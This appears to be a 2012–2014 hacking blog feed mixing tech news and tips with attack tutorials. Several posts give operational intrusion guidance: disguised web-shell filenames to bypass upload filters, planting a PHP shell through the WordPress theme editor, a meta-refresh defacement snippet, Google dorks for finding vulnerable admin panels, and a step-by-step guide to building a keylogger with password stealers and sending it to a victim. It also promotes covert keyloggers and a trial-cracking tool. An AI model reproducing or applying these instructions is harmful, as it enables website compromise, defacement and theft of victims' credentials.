FN SECURE

The Co-Founder of Pirate Bay "Gottfrid Svartholm Warg" (Anakata) was found Guilty in Denmark's Largest Hacking Case

noreply@blogger.com (vic) — Fri, 31 Oct 2014 07:28:00 -0700

The Pirate Bay

The co-founder of The Pirate Bay torrent site Gottfrid Svartholm Warg and his 21-year-old Danish co-defendant have been found guilty by a Danish court of hacking into systems operated by American IT giant CSC and illegally downloading files. It was the biggest hacking case ever conducted in the history of Denmark.

By breaking into the servers maintained by CSC, Svartholm Warg illegally accessed police email accounts and stolen email addresses and passwords of over 10,000 policemen, explored the European border control database, and downloaded millions of social security numbers belonging to Danish citizens. The initial hack attack took place for about six months.

"This is the largest hacking case to date. The crime is very serious, and this must be reflected in the sentence," Prosecutor Maria Cingali said.

Gottfrid Svartholm allegedly committed the crime along with his his 21-year-old co-defendant between February and August 2012. His co-defendant is only known by the alias of "JKT" as the Judge Kari Sørensen, who presided over the case, ordered media outlets not to publish his name in order to protect the man’s privacy.

The defence team argued that although the hack attacks were carried out using a computer owned by Svartholm, but he was not the person that used it to steal the files as, they said, his entire group of developers had access to the computer. So, any one of them could be responsible for the hacking.

"My recommendation has always been that the investigation has focused on finding clues that point to my client, even though the tracks have also pointed in another direction," lawyer Louise Høj said, as cited by TorrentFreak. "It is clear that my client’s computer has been the subject of remote control, and therefore he is not responsible."

However, the court said the unauthorized access to CSC computer mainframes was a "systematic and organised" approach, dismissing the Swede’s claims that his computer system was used by someone else to carry out the hack as "unlikely," the Local reports.

Security expert Jacob Appelbaum, a well-known activist and leading member of the Tor project - an open source and free anonymous browser service, said that it would have been easy for an outsider to gain access to Warg’s computer. He pointed out that Danish authorities had found no forensic evidence and all of the evidence had been provided by CSC.

Appelbaum expressed his disappointment with the conviction on Twitter. "Gottfrid convicted. I'm sad to hear that only two of the jurors understand the technology involved," Appelbaum tweeted yesterday.

Gottfrid Svartholm was arrested in his Cambodian apartment in September 2012 and it took two years before he went on trial in Denmark. In September 2013, he was deported from Cambodia to Sweden where he served a jail term for copyright theft because of his involvement with the Pirate Bay file-sharing site.

In a separate trial in 2013, Warg was sentenced to one year in a Swedish jail for hacking into a bank's computers. Then in November 2013, he was finally extradited to Denmark to face charges in the CSC hacking cases.

Svartholm will be sentenced on 31 October and could face six years in jail. His accomplice walked free from the court on Thursday as he had served 17 months in pre-trial detention.

"The punishment should be close to the maximum punishment, which can be six years in prison," the senior prosecutor in the case, Maria Cingari, said according to local media. "It shouldn’t be under five years."

Since its launch in 2003, The Pirate Bay (TPB) becomes the world's largest torrent tracker site which handles requests from millions of users everyday and is in the top 100 most visited websites on the Internet. TPB is predominantly used to share copyrighted material such as films, TV shows and music files, free of charge. Generally, it is famous for potentially hosting illegal contents on the website.Pirate bay is the world's largest torrent site, let us see if it still going to work.

Google Turns 14 Today :: Happy Birthday Google

noreply@blogger.com (vic) — Thu, 27 Sep 2012 01:54:00 -0700

Google turned 14 Thursday and celebrated its birthday with a doodle of a rich chocolate cake. Google was inscribed across the cake and seconds after opening the site, the 14 candles atop the delicacy get extinguished. A click on the doodle displayed a list of Google products.

Larry Page and Sergey Brin founded Google in September 1998. Since then, the company has grown to more than 30,000 employees worldwide.

Time Magazine reported that Page and Brin met at Stanford University in 1995. By 1996, they had built a search engine (initially called BackRub) that used links to determine the importance of individual webpages. And the rest is history.

Some highlights from the timeline of events leading up to the September 27, 1998 launch:

In 1995, Larry Page visits Stanford. He has graduated from the University of Michigan and is considering Stanford for grad school. As fate would have it, Sergey Brin is his campus tour guide. “According to some accounts, they disagree about almost everything during this first meeting,” says Google.

By 1996, Page and Brin are both grad students and they’re collaborating on a search engine called “BackRub” It includes links to Brin and Page’s homepages as they appeared on Stanford’s servers.

In 1997, Page and Brin decide to rename BackRub to something else. “Google” is born. It’s “a play on the word ‘googol,’ a mathematical term for the number represented by the numeral 1 followed by 100 zeros. The use of the term reflects their mission to organize a seemingly infinite amount of information on the web,” says Google.

Can you imagine if they kept the original name? “Let me BackRub that real quick.”

By 1998, Google is building up steam. In August, “Sun co-founder Andy Bechtolsheim writes a check for $100,000″ so Page and Brin can get down to business. The check is written to “Google, Inc.” but Page and Brin don’t officially incorporate until early September. They then open a bank account so they can deposit the check.

Page and Brin begin working out of Susan Wojcicki’s garage in September as well. Today, Wojcicki is the Senior Vice President of Advertising at Google. After the check clears, presumably, Craig Silverstein – a computer science grad student Page and Brin know from Stanford — is hired as Google’s first employee. And though there’s no mention of it in the company timeline, Google apparently becomes officially official on September 27, 1998.

Private Messages leaked by Facebook in France

noreply@blogger.com (vic) — Thu, 27 Sep 2012 01:00:00 -0700

The French government has summoned Facebook Inc managers to appear before the country’s data watchdog to explain how some of its users came to believe their privacy had been infringed on the social network, it said in a statement early on Tuesday.

Two ministers said that they had intervened after seeing reports that private messages between Facebook users in France had appeared on their “Timelines”, which can reach a wide Internet audience.

The Metro newspaper reported that a “non-systemic” problem at Facebook had caused certain personal messages, some several years old, to be displayed on the Timelines which serve as a profile page with details selected by the user.

Facebook in France denied any breakdown in its security systems and said that while some old data had appeared where it should not have, none of it originated from private messages.

“A minority of users were worried after seeing messages they thought to be private appearing on their Timelines,” a spokesman for Facebook France said.

“Facebook engineers examined the situation and confirmed that the messages in question were old postings, which had previously been visible on the users’ profiles,” and Facebook refused to accept any fault from their side.

Bharatiya Janata Party’s website Hacked by a group of Anonymous Hackers.

noreply@blogger.com (vic) — Wed, 19 Sep 2012 11:42:00 -0700

Hackers from Indian Anonymous Group hacked Bharatiya Janata Party’s website, BJP.org, last night, and defaced it.

They post a set of messages with pictures, reflecting the group’s condemnation of recent events including the government’s approval of 51% FDI in multi-brand retail, diesel price hike, corruption, the cartoon controversy, and the Kudankulam Power Project, among others.

Hackers also asked people to stand up and participate in the #OccupyIndiaground protest, which according to the message starts 23rd September 2012 (this Sunday) 3pm at India Gate, Delhi, Freedom Park, Bangalore, Marine Beach, Chennai, Park Street Crossing, Kolkata, MG Road, Pune and Subhash Park, Kochi.

Defaced domains are:

The group also posted a YouTube video with a message from anonymous:

Video Saying that the group’s been observing the deteriorating condition of free speech in India, and the government’s attempts to block social media.

Last month, Anonymous Operation India (AnonOps India), had defaced the online magazine of the Indian Youth Congress Yuvadesh.com, in support of India Against Corruption and protests against alleged internet censorship by the Indian government.

Top 10 Free Traffic Methods to gain on your Website

noreply@blogger.com (vic) — Wed, 19 Sep 2012 10:02:00 -0700

Top 10 Free Traffic Methods Report | SEO | Article Marketing | Video Marketing

Social Networking | Forum Posting | Blog Commenting | Yahoo Answers

Create Backlinks | Traffic Exchanges | Social Bookmarking

SEO – It stands for Search Engine Optimization. If you’re in the business of promoting your website, then you’ve most likely heard of this already. As the name suggests, its goal is to optimize your website’s content for search engines so that your site pops up in the search results for relevant keywords. Good SEO is essential for quality, long term traffic.

Article Marketing – sites like Fn Secure allow users to open an account that will allow you to share information relevant to your website as well as provide a direct link to your site after the content. It’s easy to do because you’re writing about what you already know.

Video Marketing – while most of the stuff promoted online comes in the form of reading material, websites like YouTube have provided users with an avenue to post promotional videos for free. They’re easily searched and can be indexed in search engines, thanks to tags and keywords, and they’re a friendlier way to promote your site since it’s visual.

Social Networking – this one’s taken into by big and small companies alike. With so many people’s lives revolving around Facebook and Twitter, exposure to countless audiences worldwide is always guaranteed if your site has its own Facebook and Twitter page.

Forum Posting – the good thing about forums is that they bring people of the same interests together in one place. All you have to do is to be part of a site that promotes an interest relevant to your website and regularly share your knowledge while promoting your site. Be careful not to SPAM, though – forum moderators are quite vigilant against their threads getting cluttered up with advertising more than relevant info.

Blog Commenting – this is just like forum posting, except that it’s much easier to do, since you just need to leave a comment on blog posts that are connected to your site. But you have to be careful about SPAM with this method as well. More often than not, blog authors who see any link on comments find this as a SPAM indicator, so be sure to leave comments relative to the topic so that you won’t fall under that category.

Yahoo Answers – browse through the categories and answer questions that are related to your website. The goal is to build up enough credibility for yourself around the system so that people look to your responses often, and they’ll most likely follow websites that you recommend – including your own, and that will boost traffic.

Create Backlinks – these are simply links that lead back to your site that are posted on other sites. You can do this on your own blog or blogs, or you can work with other blog authors. It's best to build links on high PageRank websites. They’re very easy to do and are essential for good SEO.

Traffic Exchanges – also known as Hit Exchange, this is similar to a backlink, but involves a bigger community of users. You will most likely have to get a membership in a group where its members agree to drive traffic to each other’s websites. You will only need a couple of minutes each day to fulfill your end of the deal to benefit from the exchange.

Social Bookmarking – sites like Digg and StumbleUpon are very easy and straightforward to use. You just need to share links through your account for other users to see.

Hope You now enjoy getting more traffic to your website

Execute and Access .jpg Shell on a webiste, and keep maintaining access

noreply@blogger.com (vic) — Tue, 18 Sep 2012 13:38:00 -0700

First of all, After hacking a admin panel of a website, find a place to upload image. And there instead of image you can upload your .jpg shell. Sometimes .php files are not allowed or there are restrictions on uploading .php files, So inorder to upload and execute for shell you have to change the extension of your shell.
Open your shell in notepad and then Save As and change the extension to any any one of the

shell.php;.jpg
shell.php.jpg
shell.php..jpg
shell.php.jpg
shell.php.jpg:;
shell.php.jpg%;
shell.php.jpg;
shell.php.jpg;
shell.php.jpg:;

Suppose you have uploaded your shell in image section of the website, You will find your shell most of times here http://website/images/shell.php
If there is no upload section in the administrator panel of the website but there is a section where you can update or add news, you can use meta http-equiv to make redirection from website to your deface page.

Just add this code in news
<meta http-equiv="refresh" content="0;url=http://link_to_your_deface_page">

Now you can just open the shelf in your browser and then execute it whenever required as per your wish. Cheers:)

How to upload PHP SHELL (script) on Wordpress Sites

noreply@blogger.com (vic) — Tue, 18 Sep 2012 13:28:00 -0700

Have You ever wondered how you can access to some of your website browsers / visitors web data.

You can gain access your admin panel of wordpress website via symlink. In this tutorial I will be telling you how to upload your shell after gaining the admin access.

1. Login into the wordpress admin panel.
goto http://www.site.com/wp-admin/ or http://www.site.com/wp-login/

2. Now on the left hand side look for the option Appearance.

3. Click on Appreance after that you will get a option "Editior" click on that after clicking on Appearance.

4. After clicking on "Editior" under Appearance you will get the following screen with the source code of the theme. Now see Right slider bar and click on any option like 404.php or comments.php

5. Replace the source codes with the code of your shell and click on upload, you will then be able to get your shell uploaded here
http://www.site.com/wp-content/themes/themename/yourshell.php

Hope You have now understood this concept, if not, you can post in comments, which will be adressed and solved by us as earlier as possible.

List of all Google dorks to Find Insecure Website Admin Panels

noreply@blogger.com (vic) — Tue, 18 Sep 2012 13:10:00 -0700

Below, is a list of all the Google dorks which can be used to make a search for all insecure website admin login panel

"inurl:admin/addproduct.asp"
"inurl:admin/user.asp"
"inurl:admin/addpage.php"
"inurl:admin/gallery.asp"

"inurl:admin/image.asp"
"inurl:admin/adminuser.asp"
"inurl:admin/productadd.asp"
"inurl:admin/addadmin.asp"
"inurl:admin/add_admin.asp"
"inurl:admin/add_admin.php"

"inurl:admin/addnews.asp"
"inurl:admin/addpost"
inurl"inurl:admin/addforum.???"
"inurl:admin/addgame.???"
"inurl:admin/addblog.????"
"inurl:admin/admin_detail.php"
"inurl:admin/admin_area.php"
"inurl:admin/product_add.php"
"inurl:admin/additem.php"
"inurl:admin/addstore.php"
"inurl:admin/add_Products.???"
"inurl:admin/showbook.???"
"inurl:admin/selectitem.???"
"allinurl:admin/addfile.???"
"inurl:admin/addarticle.asp"
"inurl:admin/addfile.asp"
"inurl:admin/upload.php"
"inurl:admin/upload.asp"
"inurl:admin/addstory.php"
"inurl:admin/addshow.php"
"inurl:admin/addmember.asp"
"inurl:admin/addinfo.asp"
"inurl:admin/addcat.asp"
"inurl:admin/cp.asp"
"inurl:admin/productshow.asp"
"inurl:admin/addjob.asp"
"inurl:admin/addjob.???"
"inurl:admin/addpic.???"
"inurl:admin/viewproduct.???"
"inurl:admin/addaccount.php"
"inurl:admin/manage.php"
"inurl:admin/addcontact.???"
"inurl:admin/viewmanager.???"
"inurl:admin/addschool.???"
"inurl:admin/addproject.???"
"inurl:admin/addsale.???"
"inurl:admin/addcompany.???"
"inurl:admin/payment.???"
"inurl:user/emp.???"
"inurl:admin/addmovie.???"
"inurl:admin/addpassword.???"
"inurl:admin/addemployee.???"
"inurl:admin/addcat.???"
"inurl:admin/admin.???"
"inurl:admin/admincp.???"
"inurl:admin/settings.???"
"inurl:admin/addstate.???"
"inurl:admin/addcountry.???"
"inurl:admin/addmedia.???"
"inurl:admin/addcode.???"
"inurl:admin/addlinks.???"
"inurl:admin/addcity.???"

I Hope You People enjoy hacking with Google dorks. :)

An Anonymous Hacker takes down Go Daddy [www.godaddy.com] with IRC Bots

noreply@blogger.com (vic) — Tue, 18 Sep 2012 12:38:00 -0700

GoDaddy.com, which hosts millions of websites mostly for small businesses, said Monday it was investigating an outage that had knocked some of its customers offline. A hacker using the "Anonymous Own3r" Twitter account claimed credit for the outage,

"Hello http://godaddy.com/ now yes! all servers #tangodown by @AnonymousOwn3r," a tweet said.

We talk with Anonymous Own3r to find out the way he used to take down this giant server. Hacker said," I am using thousand of Hacked server as bots to perform the attack. Sending dos attack commands using IRC to all of them together. I just upload IRC connect on each server to control my every slave by commands."

On further talk, we came to know that he use DDOS IRC Bot script, available on Pastebin. Its really easy to use, hack randomly hundreds of Servers online and upload your Script. Now just via IRC you can control your slaves to perform a huge DDOS attack.

Email services from the company, and GoDaddy’s own website, were also affected. According to the company, the bulk of these services were restored a little over four hours later, and no customer data was compromised. A message on the Go Daddy Support site read: "We are aware of an issue affecting several services, including email, our website and some customer websites. We understand your frustration. We want you to know that our team is investigating the source of the issue and is working to resolve it as quickly as possible."

Hacker claim that, "the attack is not coming from Anonymous coletive , the attack it's coming only from me" and Reason given by him in a tweet is “I'm taking godaddy down bacause (sic) well i'd like to test how the cyber security is safe and for more reasons that i can not talk now.”

He said "when i do some DDOS (Distributed Denial of Service) attack i like to let it down by many days , the attack for unlimited time, it can last one hour or one month."

The attack began at around 10.00 Pacific time (17.00 GMT/18.00 BST) and appears to affect the registrar's DNS servers. Any site that is hosted with GoDaddy could be affected, although as of 13.00 Pacific (20.00GMT/21.00BST) the company reported that at least some service had been restored.

Last year GoDaddy was pressured into opposing SOPA as customers transferred domains off the service, and the company has been the center of a few other controversies. However, AnonymousOwn3r has tweeted “I’m not anti go daddy, you guys will undestand because i did this attack.”

In addition to registering Internet sites, GoDaddy also sells e-commerce, security and other services to people and businesses looking to manage their online presence.

In last tweet Hacker said, "I will keep the attack to godaddy soon u guys can acess".

UPDATE:
After suffering from a huge denial-of-service attack yesterday, which shut down millions of websites and email addresses, DNS host GoDaddy.com is finally live again after transferring its own Domain Name Servers to competing hosting site, VeriSign.

Thank GOd, Go Daddy is live again.

Modified BlackHole Exploit Kit 2.0 released with new and latest Exploits

noreply@blogger.com (vic) — Tue, 18 Sep 2012 12:31:00 -0700

According to release announcement on Pastebin by unknown developers in a Russian-language BlackHole Exploit Kit 2.0 released with more latest Exploits. Black Hole is one of the most dominant exploit toolkits currently available in the underground market. It enables attackers to exploit security holes in order to install malicious software on victim's systems.

The new variant doesn’t rely on plugindetect to determine the Java version that’s installed, thus speeding up the malware download process. Old exploits that were causing browsers to crash and “scary visual effects” have been removed.

The exploit kit is offered both as a "licensed" software product for the intrepid malware server operator and as malware-as-a-service by the author off his own server.

Some interesting claims by developer about new version:

prevent direct download of executable payloads
only load exploit contents when client is considered vulnerable
drop use of PluginDetect library (performance justification)
remove some old exploits (leaving Java atomic & byte, PDF LibTIFF, MDAC)
change from predictable url structure (filenames and querystring parameter names)
update machine stats to include Windows 8 and mobile devices
better breakdown of plug-in version information
improved checking of referrer
block TOR traffic

Finally, a number of “private tricks” have been implemented, which the author prefers to keep a secret because he fears that competitors and antivirus companies are “sneaking around.” The developer offers a one-day rental of capacity on his server for as little as $50, up to a month-long lease for $500 (with larger fees for traffic over 70,000 web hits per day).

For those who want to run their own BlackHole server, licenses start at $700 for a 3-month license (which includes software support) and range up to $1,500 for a full year, plus $200 for the multidomain version. For those who want to cover their tracks, a site clean-up package comes priced at $300.

Lectures on Micro-processors and Micro-controllers by an IIT Prof. Ajit Pal

noreply@blogger.com (vic) — Sat, 1 Sep 2012 23:26:00 -0700

For all this time i have been facing a lot of trouble finding valuable information on Micro-processors on the internet.

Since Micro-processors is also one of the subjects we will be studying this semester, so it is important that we understand it properly, i found some thing very useful over the internet, which i would like to share with you people,which is a lecture session, this lecture by an IIT Professor Ajit Pal,IIT Kharagpur.

Video Lecture Series from IIT Professors :

Microprocessors and Micro-controllers

by Prof. Ajit Pal, IIT Kharagpur.

Prof. Ajit Pal is presently Professor, Department of Computer Science and Engineering at the Indian Institute of Technology, Kharagpur. He obtained his M. Tech. and Ph.D. degrees from the Institute of Radio Physics and

Electronics, Calcutta University in 1971 and 1976, respectively. Before joining IIT Kharagpur in the year 1982, he was with the Indian Statistical Institute, Calcutta, ITI, Naini and DLRL, Hyderabad in various capacities. He became full Professor in 1988 and served as head of Computer Center from 1993 to 1995 and head of the Computer Science and Engineering Department from 1995 to 1998. His research interests include Real Time Systems, CAD for VLSI and Computer Networks. He is the principal investigator of several Sponsored Research Projects including “Low Power Circuits and Systems” sponsored by Intel, USA. He has over 90 publications in reputed journals and conference proceedings and a book entitled “Microprocessors: Principles and Applications” published by TMH. He has supervised four Ph.D. students. He is the Fellow of the IETE, India and Senior Member of the IEEE, USA.

1. Introduction
2. Architecture and Organization of 8085
3. Architecture and Organization of 8085(Cont.)
4. Instruction Set : Vocabulary of the Machine
5. Instruction Set : Vocabulary of the Machine(Contd.)
6. Instruction Set : Vocabulary of the Machine (Contd.)
7. Instruction Set : Vocabulary of the Machine (Contd.)
8. Assembly Language Programming
9. Assembly Language Programming(Cont.)
10. Memory Interfacing
11. Memory Interfacing(Cont.)
12. Memory Interfacing(Cont.)
13. Data Transfer Techniques
14. I/O Ports
15. Interfacing of Switches
16. Interfacing of LED Displays
17. Programmable Interrupt and DMA Controllers
18. Serial Mode Data Transfer
19. Programmable Timer/Counter
20. Designing Microprocessor Based Systems
21. Architecture and Organization of Micro controllers
22. Architecture and Organization of Intel 8051
23. Instruction Set of 8051
24. Instruction Set of 8051 (Cont.)
25. 8051 Assembly Language Programming
26. 8051 Assembly Language Programming(Cont.)
27. 8051 Assembly Language Programming (Cont.)
28. Interfacing External Memory to 8051
29. 8051 Timer/Counter Operation
30. 8051 Serial Data Communication
31. Interfacing Keyboard and Display Devices to 8051
32. Transducers
33. Signal Conditioning Circuits
34. Optocouplers, Relays and DACs
35. ADCs and Data Acquisition Subsystems
36. Development Aids and Troubleshooting Techniques
37. Microcontroller Application Examples
38. Real Time Operating Systems for Embedded Applications

I Hope You people enjoy watching these lectures and understand the various concepts of Micro-processors and Micro-controllers.

Comment for any problems or help.Thank You.

List of all Google + (plus) keyboard shortcuts for all Browsers

noreply@blogger.com (vic) — Sat, 1 Sep 2012 23:07:00 -0700

Some time we do not find our self comfortable using the mouse and its click all way long, specially when we are on be with our laptops, or when we are chatting with someone, we'll rather feel comfortable for us to use the keyboard shortcuts, so here today i present you the list of keyboard short-cuts for Google Plus

Google+ Shortcut Keys

Key	Action
J	Scroll down to next Google+ stream update
K	Scroll up to previous Google+ stream update
QQ	Pressing Q twice moves your cursor the search box in the “chat” section of Google+
Space	Scroll down stream by regular intervals
Space + Shift	Scroll up stream by regular intervals
Enter	When a stream update is selected Enter moves your cursor to the comment box
Enter + Tab	Submit comment
@	@ followed by a username is used to mention someone in a post or share the post with them

Formatting Text in Google Plus

Key	Action
*	Use the * symbol to denote the beginning and end of bold text- *This would appear bold in Google+*
_	Use the _ symbol to denote the beginning and end of italics text- _This would appear in italics in Google+_
-	Use the – symbol to denote the beginning and end of ~~strikethrough text~~- ~~-This would appear in strikethrough in Google+~~-

Also Check : List of all Facebook shortcuts Click Here for a list of all Facebook shortcuts.

List of all Facebook keyboard shortcuts for all Browsers

noreply@blogger.com (vic) — Sat, 1 Sep 2012 23:02:00 -0700

Note: for each of these shortcut keys, if you’re using Firefox, you’ll need to use Shift+Alt instead of just Alt, and for Internet Explorer you’ll need to hit the Enter key after the shortcut to trigger it. If you’re using a Mac, you’ll need to use Ctrl+Opt instead of Alt.

Tip: If you are using Internet Explorer, after pressing Alt + # let go of both keys and press Enter for the shortcut to work. For example, press Alt + 1 (let go) and then press Enter to open the Facebook home page. * Also, the M to open a new message in Internet Explorer does not work, since it is the home shortcut.

M	Open a new message *
?	Go to the Facebook Search
1	Home (News Feed)
2	Your profile page
3	Friend requests
4	Messages
5	Notifications
6	Your Account Settings
7	Your Privacy Settings
8	Go to the Facebook page
9	View Facebook Statements and Rights agreement
0	Open Facebook help center

NOTE: If you’re on a Mac, you (currently) need to add Ctrl+Option+ to each of the shortcuts (Firefox on Mac is Function+Ctrl—thanks Robert Reents!). Other than that, they should work the same.

Facebook Shortcut Keys for Chrome

Alt + m New Message

Alt + 0 Help Center

Alt + 1 Home Page

Alt + 2 Profile Page

Alt + 3 Manage Friends List

Alt + 4 Messages List

Alt + 5 Notification Page

Alt + 6 Account Settings

Alt + 7 Privacy Settings

Alt + 8 Facebook Fan Page

Alt + 9 Facebook terms

Alt + ? Search Box

Facebook Shortcut keys for Firefox

Shift + Alt + m New Message

Shift + Alt + 0 Help Center

Shift + Alt + 1 Home Page

Shift + Alt + 2 Profile Page

Shift + Alt + 3 Manage Friends List

Shift + Alt + 4 Messages List

Shift + Alt + 5 Notification Page

Shift + Alt + 6 Account Settings

Shift + Alt + 7 Privacy Settings

Shift + Alt + 8 Facebook Fan Page

Shift + Alt + 9 Facebook terms

Shift + Alt + ? Search Box

Since its launch, Google+ had made it incredibly easy for users to navigate the home feed, using the same shortcuts we've seen in other products, such as Google Reader. For example, J takes you to the next item, while K takes you to the previous item. A full list of shortcuts can be seen here. A similar option on Facebook would no doubt be welcomed with open arms.

Also Check : List of all Google + (plus) shortcuts Click Here for a list of all Google + (plus) shortcuts.

Install and Run ANDROID 4.0.4 (ICE CREAM SANDWICH) on your PC or Laptop directly or on VMWARE or VIRTUAL BOX

noreply@blogger.com (vic) — Sat, 1 Sep 2012 22:47:00 -0700

Good Morning Everyone,

Today we will learn here how to install and run Android 4.0.4 Ice Cream Sandwich on your PC directly and in VmWare or VirtualBox.

Now you can create and check and make use of android apps directly on your PC and theirs no need to be dependent on a android Phone or a tablet to become and Android hacker or app developer.Howdy, for all the Android developers.

Android,the google’s OS for phones/tablet PC is a Linux based OS basically designed for ARM CPU, but it has also been ported for x86 architecture i.e. Intel/AMD CPU by Chih-Wei Huang. This project is called

Android-x86, you can visit www.android-x86.org or www.androidx86.org for more information. So, we’ii now install Android x86 4 (Ice cream Sandwich) on our PC.You can also install the pre-android versions also. I’m doing it in VmWare but you can also install Android directly on your computer.

STEP 1:Dowmload

Go to wandroid-x86 download page and download the ISO image of your choice, I’ve downloaded the IBM think pad installer,no special reason just that its largest one…

STEP 2:VmWare Setup

You have to change your virtual disk type to be IDE because the default type in VMware is SCSI, and Android-x86 kernel is not configured to support SCSI. You can follow these steps:

Create a virtual machine.
Edit virtual machine settings after the virtual machine created.
Choose the hard disk and remove it.
Add a hard disk to create a new virtual disk, then you can choose IDE as your virtual disk type.
When finished, you can install android-x86 normally.

Note: For normal functioning,select:

Ram : 1024Mb
Memory : 4Gb
OS:Linux
Use advanced method and not typical(or default) and select IDE hard disk

STEP 3:Setup Android x86

You can follow the images to install android 4.04

Bootup your OS by selecting it in Workstation

Android-x86 Live & Installation CD 4.0-RC2 GRUB Menu select ‘Installation – Install Android-x86 to harddisk’ using Keyboard and you will be asked to partion the drive.

Then create a new partition in the free space.

Also mark the drive as ‘Bootable’ by hitting Enter on it and you will be given with this warning(‘Are You Shure’ type)…

Write ‘yes’ and then hit Enter, after writing the filesytem

Then hit QUIT botton

Android-x86 can co-exist with other operating system or data in the chosen partition. If the partition is formatted, you may choose ‘Do not format’ to keep existing data. Otherwise, choose a filesystem type to format. Note the type you chosen must match the partition id, or the boot loader will fail to boot.

Also note if you choose to format to fat32, you will see a warning that android cannot save data to fat32. You can still proceed to install, but the installed android system will work like a live cd system. That is, all data will lose after power off. Therefore we do not recommend to install Android-x86 to a fat32 partition.

Now installer will display a warning, just type Yes to format the harddisk.

If you are lucky, the installation will begin, and you will see the progress bar.

If you see this screen, the installation is complete. Congratulations! Now you can run Andrond-x86 directly, or you can reboot and run it.

Now the OS will boot from the harddisk and then it will display the Welcome screen for Android

These are just followup Screenshots that I took

Here is the final video:

Advanced

How to create a bootable USB stick for Android-x86?

Use the USB image
Download the compressed USB image, uncompress and dump it to a USB stick. On a Linux host, you can use the command

# zcat android-x86-1.6-r2_usb.img.gz | dd of=/dev/sdc

where /dev/sdc is the device name of the target USB disk. However, some broken BIOS may fail to boot such a USB disk.
Create a bootable USB stick by iso
There are some open source tools that can convert an iso into a bootable USB disk, say
- Linux Live USB Creator ( LiLi ) – officially support Android-x86
- UNetbootin – see the demo video.

Multi-boot

To boot other operating systems, you have to add items for them to /grub/menu.lst. For example, to boot Windows, add the following:

title Windows
    rootnoverify (hd0,0)
    chainloader +1

This assumes the Windows is installed to the first partition of the first hard disk. Or you need to change rootnoverify to the appropriate value. See Grub manual for details.

Ardamax Keylogger

noreply@blogger.com (vic) — Thu, 30 Aug 2012 13:11:00 -0700

Ardamax Keylogger is a keystroke recorder that captures user's activity and saves it to an encrypted log file. The log file can be viewed with the powerful Log Viewer. This tool is used to find out what is happening on your computer while someone else is using it, maintain a backup of your typed data automatically or use it to monitor your kids. Also it can be used as a monitoring device for detecting unauthorised access. Logs can be automatically sent to your e-mail address, access to the keylogger is password protected. Besides, Ardamax Keylogger tells the information about the URL's visited.

This invisible spy application is designed for 2000, XP, 2003, Vista and Windows 7.

Keylogger Features:

* Email log delivery - keylogger can send you recorded logs through e-mail delivery at set times - perfect for remote monitoring!

* FTP delivery - Ardamax Keylogger can upload recorded logs through FTP delivery.

* Network delivery - sends recorded logs through via LAN.

* Clipboard logging - capture all text copied to the Windows Clipboard.

* Invisible mode makes it absolutely invisible to anyone. Ardamax Keylogger is not visible in the task bar, system tray, Windows 2000/XP/2003/Vista/Windows 7 Task Manager, process viewers (Process Explorer, WinTasks etc.), Start Menu and Windows Startup list.

* Visual surveillance - periodically makes screenshots and stores the compressed images to log.

* Chat monitoring - Ardamax Keylogger is designed to record and monitor both sides of a conversation in following chats:

* AIM

* Windows Live Messenger 2011

* ICQ 7

* Skype 4

* Yahoo Messenger 10

* Google Talk

* Security - allows you to protect program settings, Hidden Mode and Log file.

* Application monitoring - keylogger will record the application that was in use that received the keystroke!

* Time/Date tracking - it allows you to pinpoint the exact time a window received a keystroke!

* Powerful Log Viewer - you can view and save the log as a HTML page or plain text with keylogger Log Viewer.

* Small size – Ardamax Keylogger is several times smaller than other programs with the same features. It has no additional modules and libraries, so its size is smaller and the performance is higher.

* Ardamax Keylogger fully supports Unicode characters which makes it possible to record keystrokes that include characters from Japanese, Chinese, Arabic and many other character sets.

* It records every keystroke. Captures passwords and all other invisible text.

Other Features:

* Windows 2000/2003/XP/Vista/Windows 7 support

* Monitors multi-user machines

* Automatic startup

* Friendly interface

* Easy to install

* Easy to Hide

Ardamax Keylogger

Use Any Trial Version For Lifetime

noreply@blogger.com (vic) — Thu, 30 Aug 2012 12:52:00 -0700

Time Stopper is a tiny utility which eliminate the time limit existing into trial software usage period.

Time Stopper works with any software executable file and practically will extend the trial period of the program for an unlimited amount of time.

Time Stopper is very easy to install and use: you just have to browse for the executable file of trial program (generally located in C:\Program Files) and select the new installation date. Now, your program trial period will be automatically extended to another 30 / 90 days, depending on the software.

TimeStopper will not modify the time and date of the operating system, therefore is safe to use.Using Time stopper you can use trial version software without expiring. If you don't have enough trial period of any trial version software you can extend the trial period using Time Stopper.

Download Here

Directly Download Torrent Files without a Torrent Client Software Installation

noreply@blogger.com (vic) — Thu, 30 Aug 2012 12:46:00 -0700

Now, there is an easy way to download torrent files using Internet Download Manager or directly. You have to just follow these simple steps given below :
1. Go to http://zbigz.com/.
2. Sign up for an account. You can do it for free.(Required only once)
3. Now copy the magnet link of the torrent file or upload the torrent file in the given place and click Go.

4. After this all process,this site will provide you a zipped link of all the content in that torrent file.
5. You can download it by any download manager or any other way you want to.
6. Enjoy!!!

Rinlogger : Best and Easiest Keylogger

noreply@blogger.com (vic) — Thu, 30 Aug 2012 12:39:00 -0700

Follow the steps in order to hack victim mentioned below using rinlogger :

1. Free download RinLogger.
2. Extract the rar file.
3. Run the application.
4. Hit on Create New.

2. Field the entries accordingly :
Email Address : email-id where you want to receive all the logs.
Account Password : Password of your email-account entered above.
Keylogger Recipients : Enter your email and hit on add and then hit on Next.

3. Enable attach screenshots if you want to receive those.
Enable if you want to colourise keylogs.
Enter Time duration between 2 mails.
Verify Now. =>"A connection was able to establish properly!" and you will receive a mail about verified SMTP server test. Click ok on the newly appeared dialogue box and then Next.

4. Now Enable the Install Keylogger.
Set installation Path as Startup.
Put a file name as per your convenience (say rin).
Click on Next.

5. Enable downloader if you want otherwise press Next.

6. Dialog Setup is an optional box. Just fill the fields if you want or skip them and hit Next.

7. Enable Website Viewer and hit Next.

8. File Binder, again an optional feature. You may enable it to embed multiple files into the keylogger. Enable it and add the files which you want to place with keylogger in File Binder Setup. Then hit '+'. I added only 1 file named key.txt. You can add more than 1 file. Now click on Next.

9. Password Stealers : Enable all the fields here and press Next.

10. Skip Administrative Tasks and hit Next.

11. File Properties Setup : Hit on '?' to generate random product information. Hit Next.

12. Save the file where you want to put it. Compile it. Hit Next.

13. You are done. Now send this file to the victim. When the victim will run the file the keylogger will be installed on his/her system silently in background. Now you will receive the logs of the victim on the email-id provided earlier.

14. Enjoy!!!

Hack The Hackers : Workshop on Cyber Security & Ethical Hacking in Kokata by Imagine Next & FN Secure

noreply@blogger.com (vic) — Sun, 1 Jul 2012 00:16:00 -0700

Hack The Hackers

[Workshop on Ethical Hacking and Cyber Security by FN Secure & Imagine Next in kolkata]

